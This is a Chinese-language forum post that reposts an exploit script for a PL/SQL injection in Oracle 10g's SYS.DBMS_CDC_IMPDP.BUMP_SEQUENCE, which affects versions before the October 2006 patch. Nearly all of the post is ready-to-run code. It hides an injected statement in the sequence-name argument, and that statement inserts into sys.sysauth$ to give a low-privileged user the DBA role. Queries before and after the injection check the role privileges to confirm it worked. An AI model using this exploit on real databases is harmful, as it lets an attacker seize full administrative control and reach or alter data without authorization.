发新话题
打印

Oracle 10g SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE PL/SQL Injection

Oracle 10g SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE PL/SQL Injection

复制内容到剪贴板
代码:
/**
* Exploit for Oracle10g R1 and R2 prior to CPU Oct 2006
* Joxean Koret <[email]joxeankoret@yahoo.es[/email]>
* Privileges needed:
*
* - CREATE SESSION
*
* Max. Length 97. Very, very cool
*
*/
select *
from user_role_privs
;

DECLARE
SEQUENCE_OWNER VARCHAR2(200);
SEQUENCE_NAME VARCHAR2(200);
v_user_id number;
v_commands VARCHAR2(32767);
NEW_VALUE NUMBER;
BEGIN
SELECT user_id INTO v_user_id
FROM user_users;

v_commands := &#39;insert into sys.sysauth$ &#39; ||
&#39; values&#39; ||
&#39;(&#39; || v_user_id || &#39;,4,&#39; ||
&#39;999,null)&#39;;

SEQUENCE_OWNER := &#39;TEST&#39;;
SEQUENCE_NAME := &#39;&#39;&#39;,lockhandle=>:1);&#39; || v_commands || &#39;;commit;
end;--&#39;;
NEW_VALUE := 1;
SYS.DBMS_CDC_IMPDP.BUMP_SEQUENCE(
SEQUENCE_OWNER => SEQUENCE_OWNER,
SEQUENCE_NAME => SEQUENCE_NAME,
NEW_VALUE => NEW_VALUE
);
END;
/

select *
from user_role_privs
;

TOP

发新话题